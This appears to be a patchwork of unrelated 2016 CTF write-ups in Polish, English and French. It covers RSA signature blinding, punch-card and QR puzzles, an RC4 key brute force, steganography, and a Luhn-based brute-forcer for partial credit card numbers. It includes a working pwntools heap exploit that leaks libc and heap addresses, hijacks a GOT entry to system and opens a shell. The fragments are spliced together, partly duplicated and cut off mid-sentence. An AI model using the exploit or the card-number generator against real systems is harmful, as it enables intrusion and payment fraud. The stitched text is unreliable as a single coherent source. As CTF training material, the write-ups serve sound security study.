W zadaniu dostajemy adres zdalnego serwera podpisującego dane za pomocą RSA.Dostajemy też [obrazek](trump.jpg) który mamy podpisać.Ale serwer odmawia podpisania tych konkretnych danych.
Możemy wysłać inne dane a potem sprawdzić jak zostały zaszyfrowane bo znamy `e` oraz `n` - elementy klucza publicznego.Z tego dowiadujemy sie że RSA nie używa tu paddingu!Atak jest dość prostu - to RSA blinding na homomorficzne RSA bez paddingu.W skrócie: mozemy podzielić dane na kawałki, podpisać je osobno a potem złożyć sygnatury.
Piszemy do tego skrypt:
```pythonimport codecsimport socketimport refrom time import sleep
def bytes_to_long(data): return int(data.encode('hex'), 16)
def long_to_bytes(flag): flag = str(hex(flag))[2:-1] return "".join([chr(int(flag[i:i + 2], 16)) for i in range(0, len(flag), 2)])
def get_payload(payload): url = "trumptrump.pwn.republican" port = 3609 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) data = s.recv(9999) print(data) sleep(1) s.sendall(str(payload) + "\r\n") sleep(1) data = s.recv(99999999) return data
def get_signature(payload): data = get_payload(payload) print(data) return int(re.findall("kid: (\d+)", data)[0])
def combine_sigs(sig1, sig2): N = 23377710160585068929761618506991996226542827370307182169629858568023543788780175313008507293451307895240053109844393208095341963888750810795999334637219913785780317641204067199776554612826093939173529500677723999107174626333341127815073405082534438012567142969114708624398382362018792541727467478404573610869661887188854467262618007499261337953423761782551432338613283104868149867800953840280656722019640237553189669977426208944252707288724850642450845754249981895191279748269118285047312864220756292406661460782844868432184013840652299561380626402855579897282032613371294445650368096906572685254142278651577097577263 return (sig1 * sig2) % N
def find_divisor(picture_long): for i in xrange(2, 10000): if picture_long % i == 0: print(i) return i
def main(): with codecs.open("trump.jpg", "rb") as input_file: picture = input_file.read() picture_long = bytes_to_long(picture) print(picture_long) divisor = find_divisor(picture_long) sig1 = get_signature(picture_long / divisor) sig2 = get_signature(divisor) result_sig = combine_sigs(sig1, sig2) print(result_sig) payload = get_payload(result_sig) with codecs.open("result.bin", "wb") as output: output.write(payload)```
Ten kod bierze dane do podpisu, znajduje dzielnik całkowity (w tym przypadku `3`), podpisuje dzielnik oraz payload/dzielnik a następnie składa te dwa podpisy.Składanie podpisów to po prostu przemnożenie ich modulo `n`.
Teraz nastąpił bardzo dziwny problem - co dalej zrobić z tym podpisem?Autor bardzo lubi zgadywanki...Okazało się, że należy wysłać ten podpis do serwera a serwer w odpowiedzi wyśle nam flagę:
 |
# CSAW Finals 2016 Writeups/Solutions
I played in the CSAW 2016 Finals at NYU in November.I spent my entire CTF on two series of challenges, Cybertronix 64k and Super Monster Ball.I got first blood on all four of these flags, and was the only person in the CTF to solve the latter of the Super Monster Ball challenges :)
Writeups and solutions I wrote during the CTF (cleaned up slightly!) are available in the appropriate subdirectories. |
<span><span>p=8986158661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251</span><span>g=6</span><span>a=230</span><span>b=250</span>
<span>C=5361617800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617</span><span>CA=pow(C,a,p)</span><span>CAB=pow(CA,b,p)</span>
<span>print ("sharedkey is",CAB)// The answer prints here</span></span> |
## Old But Gold (Misc 250)
Description: These QR codes look weird
by Madeye
Files: [Zip File](misc250_100ff979353dd452.zip)
When extracted, the zip file contains 14 PNG files that are images of IBM-29 punch cards. The images are consistently the same size and with equally spaced punches. Iterating over each column then each row, you can read the punch if the pixel in the top left corner is white. The top row, left most column starts at pixel column 15 and pixel row 20. Each punch location is then spaced 20 pixel vertically and 7 pixels horizontally.
Using PIL, I was able to read each image to find the punches on each row. The following code returns a list of columns of punches, where each column is a list of the rows that are punched.
```pythondef convert(imgfile): image = Image.open(imgfile) im = image.load() xstart = 15 ystart = 20 xoff = 7 yoff = 20 allpunches = [] for x in range(xstart,image.size[0],xoff): punches = [] for y in range(ystart,image.size[1],yoff): if im[x,y] == (255,255,255,255): punches.append((y-ystart)/yoff) allpunches.append(holes(punches)) return allpunches
```
The list of punches now needs to be converted to a string of characters. Understanding the layout of the punches as shown [here] (http://www.columbia.edu/cu/computinghistory/029-card.jpg), we can script this up as follows. *note: not all puncutations are converted, just the ones observed on this set of cards*.
```pythondef readpunch(p): if len(p) > 2: if p == [2,5,10]: return ',' if p == [0,5,10]: return '.' if p == [2,9,10]: return '?' if p == [0,7,10]: return '(' if p == [1,7,10]: return ')' if len(p) == 0: return ' ' if len(p) == 1: return alphabet[p[0]-2] elif p[0] == 0: return alphabet[7+p[1]] elif p[0] == 1: return alphabet[16+p[1]] elif p[0] == 2: return alphabet[24+p[1]]```
Now we just need to iterate over all 14 cards provided in the zip file to get the text for each card.```pythonfor f in files: print ''.join([readpunch(p) for p in convert(f)])```
The cards in alphabetical order by file name produces the following text. Reading through each line to determine the follow of the story is needed. I did not see any logical way to automate this. I have indicated the final line number after each row of text
```OF TIME PUNCHING THOSE NARDS, CAN YOU IMAGINE WHAT COULD [8]THE BUG, BUT THOSE WER3 THE OLD DAYS. CAN YOU FIND THE FLAG [13]USING THIS OLD TECHNOLOGY? GOOD LUCK, YOU WILL NEED IT) [14]IT WAS THE SIXTIES, HE WAS TRYKNG TO FIGURE OUT HOW TO [2]MANUALS TRY1NG TO LEARN HOW TO PROGRAM AND SPEND A LOT [7]HAPPEN IF YOU FAKE A SMALL MISTAKE IN ON OF THOSE PUNCHED [9]USE THOSE PONCHED CARDS, HE LIKES TO PROGRAM IN FORTRAN [3]ERROR DUE TO A SMALL AND ALMOST INSIGNIFICANT MIST4KE BUT [11]AND COBOL, B(T EVEN AFTER ALL THOSE YEARS HE DOESNT KNOW [4]CARDS? AFTER THOSE HOURS WAITING ROR A RESULT, THEN IT SAYS [10]IN THOSE DAYS YOUR ONLY OPTION W4S READ LARGE BOOKS AND [6]HOW TO PROPERLY MRITE SECURE CODE IN THOSE LANGUAGES [5]THAT WILL TAKE MORE TIME TO MEBUG AND FIGURE OUT WHERE WAS [12]ONCE UPON A TEME, THERE WAS A YOUNG HACKER CALLED MJ [1]```
Following along with the story, it talks about mistakes. There are also some mistakes in the story. After double checking that the solver was correct, I noticed the first three typos were E, K, O which matches the flag pattern. In order, the flag properly describes the system that used the punchcards. *note: some writeups show the flag using the parenthesis, but since there was no symbol for curly braces I submited the flag with the curlies and got the points*
```EKO{M41NFR4M3}```
Entire solve script can be found [here](solver.py) |
# LeCrypto (crypto 250)
###ENG[PL](#pl-version)
In the task we get the code:
```python#!/usr/bin/env pythonfrom random import SystemRandomimport hashlibimport copy_reg, types
class RC4: def __init__(self, message, password): self.state = [None] * 256 self.p = None self.q = None
self.message = message self.password = [ord(c) for c in password] self.setKey()
def setKey(self): key = self.password self.state = [n for n in range(256)] self.p = self.q = j = 0 for i in range(256): if len(key) > 0: j = (j + self.state[i] + key[i % len(key)]) % 256 else: j = (j + self.state[i]) % 256 self.state[i], self.state[j] = self.state[j], self.state[i]
def byteGenerator(self): self.p = (self.p + 1) % 256 self.q = (self.q + self.state[self.p]) % 256 self.state[self.p], self.state[self.q] = self.state[self.q], self.state[self.p] return self.state[(self.state[self.p] + self.state[self.q]) % 256]
def encrypt(self): return [ord(p) ^ self.byteGenerator() for p in self.message]
def decrypt(self): return "".join([chr(c ^ self.byteGenerator()) for c in self.message])
def _pickle_method(m): if m.im_self is None: return getattr, (m.im_class, m.im_func.func_name) else: return getattr, (m.im_self, m.im_func.func_name)
copy_reg.pickle(types.MethodType, _pickle_method)
def getRC4From(password, s="", debug=True): if (len(s) == 0): cg = SystemRandom() s = "".join([unichr(cg.randrange(32, 126)) for i in range(16)])
h0 = hashlib.md5(password.encode('utf-8')).hexdigest() md5t = "".join([unichr(ord(c)) for c in h0[:10]]) # ib = 16 * (md5t + s) h1 = hashlib.md5(ib.encode('utf-8')).hexdigest() h1th = h1[:8] + "00" * 4 print("h1th ", h1th) hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() return [s, hf]
def encrypt(text, password): crypter = RC4(text, password) enc = crypter.encrypt() enc = "".join([unichr(c) for c in enc]) return enc
def leCrypt(text, password, debug=False): theH = {'s': '', 'v': '', 'vH': ''}
cg = SystemRandom() v = "".join([unichr(cg.randrange(32, 126)) for i in range(16)]) # 16 bytes v = v.encode("utf-8") print('v ', v)
(s, key) = getRC4From(password, debug=True) theH['s'] = s theH['v'] = encrypt(v, key) theH['vH'] = encrypt(hashlib.md5(v).digest(), key) theH['enc'] = encrypt(text, key) if debug: print theH return theH```
And data:
```{"vH": "\u008c\u00d4\u0000\u00e0\u0005\u00b4\u0096\u00c4\u00ad\u00a9c\u00c3\u00ec/\u00e0t", "s": "*mqZ(dpJMvM)a2y3", "enc": "5\u00e0q\u00df\u00fb\u0017\u00ee\u001e\u00f85\u0016\u00efN\u0095\f\u00e2P\u0013\u00e5\u007f\u00a5r\u00a8\u00d5\u00ff\u00fc\u00c2\u00cb\u00a2K\u000b|\t\u009e{\u00b9c\r", "v": "]\u0084r\u00d5\u00f7K\u008a4\u00862\u001a\u00a6I\u009d\u0018\u00ba"}```
RC4 here is implemented fine, no vulnerabilities there.The problem with encryption is in:
```python h1th = h1[:8] + "00" * 4 print("h1th ", h1th) hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() return [s, hf]```
The `hf` value returned here is later used as RC4 encryption key for all parameters so this is the value we eventually want to recover.There is no point trying to reverse the algorithm since there is md5 everywhere.But we can see that the final key is md from `h1th = h1[:8] + "00" * 4` which means first 8 bytes of some md5 value (so basically just 4 bytes) concatenated with 4 times `00`.This means we could brute-force those 4 bytes, calculate the resulting key and the test if the decoding output if correct.
As correctness check we decided to use `v` because we know the charset for all 16 bytes there - `cg.randrange(32, 126)`.So if we decode the `v` and all characters are in the right range we can assume the key to be a possible match:
```pythondef decrypt(data, password): crypter = RC4(data, password) enc = crypter.decrypt() return enc
def in_charset(decrypted_v): for c in decrypted_v: if not 32 <= ord(c) <= 126: return False return True
def worker(data): a, crypted_v = data ac = chr(a) results = [] for b in range(256): bc = chr(b) for c in range(256): cc = chr(c) for d in range(256): h1th = (ac + bc + cc + chr(d)).encode("hex") + "00" * 4 hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() decrypted_v = decrypt(crypted_v, hf) if in_charset(decrypted_v): results.append(hf) return results
def crack(): with codecs.open("challenge.txt", "r")as input_file: data = input_file.read() m = eval(data) crypted_v = [ord(c) for c in m['v'].decode("unicode_escape")] print(len(crypted_v)) start = 0 stop = 256 data = [(a, crypted_v) for a in range(start, stop)] result = brute(worker, data) print(result) with codecs.open("output.txt", "a")as output_file: output_file.write(str(result))
if __name__ == '__main__': freeze_support() crack()```
We run this in paralell and recover all candidate keys.Then we simply run:
```pythondef main(): flag = "5\u00e0q\u00df\u00fb\u0017\u00ee\u001e\u00f85\u0016\u00efN\u0095\f\u00e2P\u0013\u00e5\u007f\u00a5r\u00a8\u00d5\u00ff\u00fc\u00c2\u00cb\u00a2K\u000b|\t\u009e{\u00b9c\r".decode( "unicode_escape") crypted = [ord(c) for c in flag] partial = [[]] # data from workers for worker_result in partial: for potential_key in worker_result: print(decrypt(crypted, potential_key) + "\n\n\n\n\n\n")
main()```
And recover the flag for one of the candidate keys.
###PL version
W zadaniu dostajemy kod:
```python#!/usr/bin/env pythonfrom random import SystemRandomimport hashlibimport copy_reg, types
class RC4: def __init__(self, message, password): self.state = [None] * 256 self.p = None self.q = None
self.message = message self.password = [ord(c) for c in password] self.setKey()
def setKey(self): key = self.password self.state = [n for n in range(256)] self.p = self.q = j = 0 for i in range(256): if len(key) > 0: j = (j + self.state[i] + key[i % len(key)]) % 256 else: j = (j + self.state[i]) % 256 self.state[i], self.state[j] = self.state[j], self.state[i]
def byteGenerator(self): self.p = (self.p + 1) % 256 self.q = (self.q + self.state[self.p]) % 256 self.state[self.p], self.state[self.q] = self.state[self.q], self.state[self.p] return self.state[(self.state[self.p] + self.state[self.q]) % 256]
def encrypt(self): return [ord(p) ^ self.byteGenerator() for p in self.message]
def decrypt(self): return "".join([chr(c ^ self.byteGenerator()) for c in self.message])
def _pickle_method(m): if m.im_self is None: return getattr, (m.im_class, m.im_func.func_name) else: return getattr, (m.im_self, m.im_func.func_name)
copy_reg.pickle(types.MethodType, _pickle_method)
def getRC4From(password, s="", debug=True): if (len(s) == 0): cg = SystemRandom() s = "".join([unichr(cg.randrange(32, 126)) for i in range(16)])
h0 = hashlib.md5(password.encode('utf-8')).hexdigest() md5t = "".join([unichr(ord(c)) for c in h0[:10]]) # ib = 16 * (md5t + s) h1 = hashlib.md5(ib.encode('utf-8')).hexdigest() h1th = h1[:8] + "00" * 4 print("h1th ", h1th) hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() return [s, hf]
def encrypt(text, password): crypter = RC4(text, password) enc = crypter.encrypt() enc = "".join([unichr(c) for c in enc]) return enc
def leCrypt(text, password, debug=False): theH = {'s': '', 'v': '', 'vH': ''}
cg = SystemRandom() v = "".join([unichr(cg.randrange(32, 126)) for i in range(16)]) # 16 bytes v = v.encode("utf-8") print('v ', v)
(s, key) = getRC4From(password, debug=True) theH['s'] = s theH['v'] = encrypt(v, key) theH['vH'] = encrypt(hashlib.md5(v).digest(), key) theH['enc'] = encrypt(text, key) if debug: print theH return theH```
I dane:
```{"vH": "\u008c\u00d4\u0000\u00e0\u0005\u00b4\u0096\u00c4\u00ad\u00a9c\u00c3\u00ec/\u00e0t", "s": "*mqZ(dpJMvM)a2y3", "enc": "5\u00e0q\u00df\u00fb\u0017\u00ee\u001e\u00f85\u0016\u00efN\u0095\f\u00e2P\u0013\u00e5\u007f\u00a5r\u00a8\u00d5\u00ff\u00fc\u00c2\u00cb\u00a2K\u000b|\t\u009e{\u00b9c\r", "v": "]\u0084r\u00d5\u00f7K\u008a4\u00862\u001a\u00a6I\u009d\u0018\u00ba"}```
Szyfrowanie RC4 jest tu zaimplementowane bezbłędnie, nie ma tam podatności.Problem z szyfrowaniem jest tutaj:
```python h1th = h1[:8] + "00" * 4 print("h1th ", h1th) hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() return [s, hf]```
Wartość `hf` zwrócona tutaj jest użyta później jako klucz szyfrowania RC4 dla wszystkich znanych wartości, wiec finalnie chcemy odzyskać ten klucz.Nie ma sensu "odwracanie" tego algorytmu, ponieważ wszędzie mamy nieodwracalne md5.Ale możemy zauważyć że finalny klucz to md5 z `h1th = h1[:8] + "00" * 4` czyli z pierwszych 8 bajtów jakiegoś md5 (czyli de facto tylko 4 bajtów) sklejonych z 4 `00`.To oznacza że możemy brutować te 4 bajty, obliczyć wynikowy klucz za pomocą md5 a potem sprawdzić czy można nim coś odszyfrować.
Do sprawdzenia poprawności klucza wybraliśmy zmienną `v` bo znamy charset dla wszystkich 16 bajtów - `cg.randrange(32, 126)`.Więc jeśli dekodując `v` dostaniemy wszystkie znaki w zadanym zasięgu możemy uznać że mamy potencjalny klucz:
```pythondef decrypt(data, password): crypter = RC4(data, password) enc = crypter.decrypt() return enc
def in_charset(decrypted_v): for c in decrypted_v: if not 32 <= ord(c) <= 126: return False return True
def worker(data): a, crypted_v = data ac = chr(a) results = [] for b in range(256): bc = chr(b) for c in range(256): cc = chr(c) for d in range(256): h1th = (ac + bc + cc + chr(d)).encode("hex") + "00" * 4 hf = hashlib.md5(h1th.encode('utf-8')).hexdigest() decrypted_v = decrypt(crypted_v, hf) if in_charset(decrypted_v): results.append(hf) return results
def crack(): with codecs.open("challenge.txt", "r")as input_file: data = input_file.read() m = eval(data) crypted_v = [ord(c) for c in m['v'].decode("unicode_escape")] print(len(crypted_v)) start = 0 stop = 256 data = [(a, crypted_v) for a in range(start, stop)] result = brute(worker, data) print(result) with codecs.open("output.txt", "a")as output_file: output_file.write(str(result))
if __name__ == '__main__': freeze_support() crack()```
Uruchamiamy to współbieżnie i odzyskujemy wszystkie klucze kandydujące.Następnie uruchamiamy:
```pythondef main(): flag = "5\u00e0q\u00df\u00fb\u0017\u00ee\u001e\u00f85\u0016\u00efN\u0095\f\u00e2P\u0013\u00e5\u007f\u00a5r\u00a8\u00d5\u00ff\u00fc\u00c2\u00cb\u00a2K\u000b|\t\u009e{\u00b9c\r".decode( "unicode_escape") crypted = [ord(c) for c in flag] partial = [[]] # data from workers for worker_result in partial: for potential_key in worker_result: print(decrypt(crypted, potential_key) + "\n\n\n\n\n\n")
main()```
I odczytujemy flagę dla jednego z kluczy kandydujących. |
<span>Bar codes can be decoded with this tool: <span>https://zxing.org/w/decode.jspx</span><span>The first QR code's text was rot13 encoded, the 2nd bar code's text was ROT9 and decodes to: helloaliceyesihavehereitisbernardsilver</span><span>flag is bernard_silver</span></span> |
# CSAW Finals 2016 Writeups/Solutions
I played in the CSAW 2016 Finals at NYU in November.I spent my entire CTF on two series of challenges, Cybertronix 64k and Super Monster Ball.I got first blood on all four of these flags, and was the only person in the CTF to solve the latter of the Super Monster Ball challenges :)
Writeups and solutions I wrote during the CTF (cleaned up slightly!) are available in the appropriate subdirectories. |
## Arkansas - Consul - Reverse - 100The file simply outputs “Poor Bernie.” and exits when run.
```$ file consulconsul: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=897c070c53ceb5b58080d891a68b96a197816773, not stripped```
running strings reveals some interesting function names:- dont_call_me- fake_help- real_help
All of them just segfault when jumped to from main, except real_help which also prints> Leonardo De Pisa? Who's that–The next president?
Since this doesn't show up when running strings, I looked at the assembly and register values at different places throughout the real_help function to see if I could find where it was being pulled from.
```(gdb) disas real_help ... 0x0000000000400ae6 <+13>: mov $0x6012a0,%edi 0x0000000000400aeb <+18>: callq 0x40064c <sub_43E8> 0x0000000000400af0 <+23>: mov %rax,-0x8(%rbp) ...
(gdb) x/s 0x6012a00x6012a0 <b0>: "?XbaTeWb\023\067X\023C\\fT2\023J[b\032f\023g[Tg\325s\206G[X\023aXkg\023ceXf\\WXag2"
(gdb) b *main+31(gdb) b *real_help+23(gdb) rBreakpoint 1, 0x0000000000400b5c in main ()(gdb) jump *real_helpBreakpoint 2, 0x0000000000400af0 in real_help ()(gdb) x/s $rax0x602420: "Leonardo De Pisa? Who's that–The next president?"```
So the sub_43E8 function is decoding it. However, the function doesn't seem to be too complex as they line up pretty nicely
```?XbaTeWb\023\067X\023C\\fT2\023J[b\032f\023g[Tg\325s\206G[X\023aXkg\023ceXf\\WXag2Leonardo[SP]D e[SP]Pi sa?[SP]Who' s[SP]that- T he[SP]next[SP]Presi dent?```
```>>> ord('?') - ord('L')13>>> ord('X') - ord('e')13```
The offset is 13. But rotating the entire binary by 13 doesn't reveal anything else, so I tried some other rotation values```12We didn't deserve Bernie.
18The end is forever. But after that, you're good to go.```
Finally, I automated it to perform all possible rotations...
```python#!/usr/bin/env pythonwith open("consul", "rb") as file: b = file.read() for i in range(256): decoded = "" for ch in b: decoded += chr((ord(ch)+i) % 256)
print(decoded)```
... and grepped for flag.
``` $ ./rotator | strings | grep flag @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@flag{write_in_bernie!}@@@@@@@@@@```
flag{write_in_bernie!} |
<span>What <span>city? First we need to get what behind the dark </span></span>(change the bits) , photoshop or this site : http://incoherency.co.uk/image-steganography/u w'll get the underground of London City flag : InnoCTF{London} |
# Sam Sepiol## 100 pts
Le challenge se présente sous la forme d’une image au format png.Il s’agit d’un menu de pizzeria sur lequel figurent aux côtés des tarifs, plusieurs inscriptions étrange.

_unirlbhznqrlbhepubvpr?_
* 1.11 - 7.24 - 1.0 - 6.0 - 0123* 6.29 - 9.5 - 9.26 - 5.26 - 048* 1.0 - 2.3 - 5.0 - 2.22 - 9.15 - 5.2 - 1.7* 8.20 - 1.5 - 0125
D’instinct, la première chaîne fait penser à du rot13. Ce qui donne une fois traduit : _haveyoumadeyourchoice?_
Néanmmoins, rien de très utile pour le moment.
Au niveau de la série de nombres, il semblait y avoir un rapport entre le premier des deux chiffres de chaque groupe, et le numéro des pizzas disponibles. Le second nombre devant sûrement indiquer un déplacement.
Le challenge étant basé sur une part de guessing, il fallait déduire que :
1. Les groupes sans le "." séparateur sont des représentations décimales de l’ASCII. 2. La pizza 0 n’existant pas, la valeur récupérée était le premier chiffre du groupe.
À ce niveau là, on reconnaissait la forme du pattern.
Après plusieurs minutes de réflexion et de tests, nous avons trouvé la manière d’obtenir les bonnes lettres.
Il fallait pour cela partir du nom de la pizza visée, se déplacer de n lettres vers la droite et effectuer un ROT13. Puis répéter l’opération autant de fois que néccesaire.
On obtenait alors le flag.
|
<span>The download link contains forensics200.obj. The OBJ extension indicates an object file that is most likely a 3D model representation. After some googling, I decided to use Open 3D Model Viewer. The description also tells us that this task has something to do with steganography. With that in mind, let us open the file. </span>-----------After playing around with the tool settings and filters, we can easily view the flag by applying Mesh 0 and enabling the shading effect (which alters the blend/transparency) on our 3D model.This gives us the flag: RC3-2016-St3GG3rz |
from pwn import *
# RC3-2016-YOUZAH-REEL-JEDI-MASTA-NAU-LEWK
try: import requests dst_ip = requests.get('http://ipinfo.io').json()['ip']except: dst_ip = '127.0.0.1'
print 'IP = %s' % dst_ip
binary = ELF('cardmaker')libc_binary = ELF('libc-2.23.so')
def menu(x): """ 1. New greeting card 2. List greeting cards to be sent 3. Change the contents of a card 4. Delete a greeting card in the queue 5. Send all greeting cards in the queue 6. Quit """ io.recvuntil('Choice: ') io.sendline(str(x))
def add(size, content, border='#', dst_port=5566): menu(1) io.recvuntil('from?') io.sendline('a') io.recvuntil('to?') io.sendline('b') io.recvuntil('to?') io.sendline('%s:%s' % (dst_ip, dst_port)) io.recvuntil('card?') io.sendline(border) io.recvuntil('How long is your message...?') s = str(size) if size < 0: # strtol will skip non-numeric characters s = ' ' + s io.sendline(s) io.recvuntil('end with ') if content: io.sendline(content) io.sendline('done.')
sock = listen()
io = remote('cardmaker.ctf.rc3.club', 9887)
add(15, 'zz', '%p', dst_port=sock.lport)menu(5) # send card, leak heap and libc addresses
l = sock.wait_for_connection()libc, heap = l.recvall().split('\n')[-2].split('0x')[4:6]libc, heap = int(libc, 16), int(heap, 16)
print 'leaked libc addr = 0x%.12x' % libcprint 'leaked heap addr = 0x%.8x' % heap
libc += 0x00007fec75823000 - 0x7fec75be8780heap += 0x01fc8000 - 0x1fc9050
print 'libc base = 0x%.12x' % libcprint 'heap base = 0x%.8x' % heap
new_heap = heap + 0x0221f090 - 0x0221e000ptr_top = new_heap + 24print 'last chunk will be allocated at 0x%.8x' % new_heap
# ref 1: http://www.slideshare.net/AngelBoy1/heap-exploitation-51891400# ref 2: https://github.com/shellphish/how2heap/blob/master/house_of_force.c
evil_size = binary.got['strtol'] - 16 - ptr_topprint 'evail_size = %x' % evil_size
# overwrite chunk header on top chunkadd(-1, 'A'*24 + '\xff' * 8) # this add actually malloc(24)add(evil_size - 25, '') # jump to desired addressadd(100, p64(libc + libc_binary.symbols['system'])) # GOT hijack
menu('sh') # strtol.GOT hijacked to systemio.interactive()
"""leaked libc addr = 0x7f615f97b780leaked heap addr = 0x0221f050libc base = 0x7f615f5b6000heap base = 0x0221e000
[0x4017be] malloc(40) = 0x221f020[0x400daf] malloc(42) = 0x221f050[0x401208] free(0x221f050) = <void>[0x4017be] malloc(24) = 0x221f090""" |
# RC3Cipher
## How this binary works?
TL;DW. But if you really want to know, see [Writeup from team SwissCyberStorm](https://github.com/swisscyberstorm/ctf_write_ups/blob/master/2016/rc3ctf/reversing/rc3cipher/README.md)
## How this script works?
This cipher behaves like a stream cipher, the only things affects stream key is biggest byte in the plaintext.
So we enumerate all possible biggest byte with enough length to extract stream key, then try to decrypt flag. |
Description:<span>Turns out Frog Fractions 2 is not battletoads. NOTE: key in different format flag is md5 of the key (incl newline at the end, sorry for crazy flag format), with BKPCTF{} around it, eg BKPCTF{764efa883dda1e11db47671c4a3bbd9e}</span>Writeup: http://van.prooyen.com/reversing/2016/03/11/Frog-Fractions-2.html |
This is RSA with a small public exponent. It can be broken by taking the third root of the ciphertext:--------------------------------------------------------import gmpyfrom Crypto.Util.number import long_to_bytesn = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143c = 2044619806634581710230401748541393297937319e = 3<span>m = gmpy.root(c, 3)[0]if pow(m, 3, n) == c: print long_to_bytes(m)</span>--------------------------------------------------------Output: so_low |
<span>Tittle : Bridge of Cyber</span><span>Category : Misc</span><span>Point : 200</span><span>Description : Welcome to the "Bridge of Cyber"! It's the same concept as the "Bridge of Death" in Holy Grail.Our DNS servers aren't very good at their job because they ask more questions then they answer.Let's see if you can get the flag from our DNS.</span>Nameserver: ns-920.awsdns-51.netDomain: misc200.ctf.rc3.clubHINT:- Dig deeper- SubdomainsWriteup |
# Certified Excel Hacker - Forensic 50
Opening the file in numbers (osx) gives us an error message.> Hidden sheets were made visible, Sheet: ANSWER
By zooming out on the answer sheet we see the letter E and knowing that the flag format is EKO{xxxxxxxxxx}, we could just read out the flag.
`EKO{HIDDEN_SHEET_123}`
# Hidden inside EKO - misc 50
> Find the hidden flag in the EKO pixels!
Looking at the CSS sheet gives a link to the static background
https://ctf.ekoparty.org/static/img/background.png
The flag is shown in plaintext
`EKO{th3_fl4g}`
# Mr. Robot - WEB 25
Trying with the robots file https://ctf.ekoparty.org/robots.txt
> Disallow: /static/wIMti7Z27b.txt
Going to the url gives us the flaghttps://ctf.ekoparty.org/static/wIMti7Z27b.txt
`EKO{robot_is_following_us}`
# JVM - Reversing 25
Decompiling the java class file we just se a function that is storing the flag in str.
> String str = "EKO{" + i + "}";
Adding some java to print the str variable, recompiling and running the code gives us the flag.
> System.out.println(string);
`EKO{893116}`
# RFC 7230 - WEB 50
> Get just basic information from this server (ctf.ekoparty.org).
Curl -I ctf.ekoparty.org gives us the flag in plaintext.
`EKO{this_is_my_great_server}`
|
Original Article at<span>:</span>https://penafieljlm.wordpress.com/2016/10/29/ekoparty-ctf-2016-write-ups/#web-150Web 150 (Carder)This is the last challenge that I was able to answer in the CTF event. This is a pretty straightforward challenge. You just need to provide three valid credit card numbers to the form presented in the page referred to by the description of the puzzle. You will have to do this in fifteen seconds or less so you have to prepare your “fast hands” game.RequirementsPythonProcessUpon clicking the link presented in the description of the puzzle, you will be taken to a page asking for valid numbers for Visa, Master Card, and American Express credit cards. You have to provide the numbers within 15 seconds. The time frame validation is checked both at the client and server side so you can’t just change the HTML in the page after the time period has expired.The page already provides you with the first and last four digits of the credit card numbers that you need to provide. You just need to fill in the missing numbers in the middle. The next step will be determining how long the missing numbers are. Luckily for us, the form already tells us how many numbers are missing. This detail is important because once we start brute forcing for the appropriate numbers, we need to know how many zeroes we have to pad to our iterator. This will make sense in a while so please bear with me.Create a new Python script file and save it as creditcard.py. This is the file where we’ll be writing our brute force script.Paste the following function into creditcard.py```<span>def cardLuhnChecksumIsValid(card_number):</span><span> """ checks to make sure that the card passes a luhn mod-10 checksum """ sum = 0 num_digits = len(card_number) oddeven = num_digits & 1 for count in range(0, num_digits):</span><span> digit = int(card_number[count]) if not (( count & 1 ) ^ oddeven ):</span><span><span> digit = digit * 2</span> if digit > 9:</span><span><span><span><span> digit = digit - 9</span> sum = sum + digit</span> return ( (sum % 10) == 0 ).```</span>See: Python Luhn checksum for credit card validation (Python recipe)</span>The code above essentially returns True if you give it a valid credit card number, and False if you give it an invalid credit card numberNext. we’ll declare a jobs array right after the declaration of the cardLuhnChecksumIsValid function. This will contain the prefix and suffix of the numbers that we need to brute force as well as the length of the missing pieces in between those numbers```# list format: [missing_len, prefix, suffix]jobs = [ [5], [8], [7]]```For each array element in our jobs array, the first element shall be the length of the missing digits of the numbers, the second element shall be the prefix of the numbers provided by the web page, and the third element shall be the suffix of the numbers provided by the web page. I initialise the first element of each array with the length of the missing pieces of the numbers based on the information that we have gathered in step 2. As you can see from the lengths that I have provided, the first array will be representing the Visa number, the second array will be representing the Master Card number, and the third array will be representing the American Express number. I leave out the prefix and suffix fields because we’ll have to take those as inputs from the user. Unfortunately, we can’t just hard code the prefix and suffix values because they change every time you refresh the puzzle’s web page.We will want to be able to quickly provide the prefix and suffix values to the program. Typing them in one by one just won’t do given the 15 seconds time window the puzzle provides us with, so that’s why we will want to be able to highlight and copy the values from the web page and then paste them into the program’s Standard Input. After highlighting the form in the web page, hitting Ctrl+C and pasting into a text editor, I can see that our program will be encountering the data in the following form:```4556rest of your number1231Mastercard5242rest of your number3250American Express3423rest of your number0249```As we can see in the form of the data that we will be providing to our program, we’re going to have to ignore the lines containing rest of your number and the card names.Right after the declaration of the jobs array, add the following lines of code:```index = 0for index in range(0, 10 + 1): line = raw_input() if index == 0 or index == 2: jobs[0].append(line.strip()) if index == 4 or index == 6: jobs[1].append(line.strip()) if index == 8 or index == 10: jobs[2].append(line.strip()) index += 1```This will read the prefix of the numbers in lines 0, 4, and 8. Meanwhile, suffix number will be read from lines 2, 6, and 10.Next, we’ll be doing the actual brute forcing of the numbers. Go ahead and paste the following lines of code at the bottom of the segment where we acquire the user’s inputs.```for job in jobs: length, prefix, suffix = job for i in range(0, int(math.pow(10, length))): iteration = str(i).zfill(length) number = prefix + iteration + suffix if cardLuhnChecksumIsValid(number): print iteration break```So, what we’re doing here is that we go over all the jobs inside of our jobs array, and then for each job, we acquire the length, prefix, and suffix of the current job, and then we iterate over all the numbers in the number space based on the length of the missing digits of the credit card number we are currently brute forcing. For each iteration, we pad our iterator with zeroes until the desired length is reached, and then we formulate the final credit card number to test by prepending and appending the prefix and suffix values respectively. After that, we check if the number is valid by using the cardLuhnChecksumIsValid function. If the credit card number is invalid, we simply move 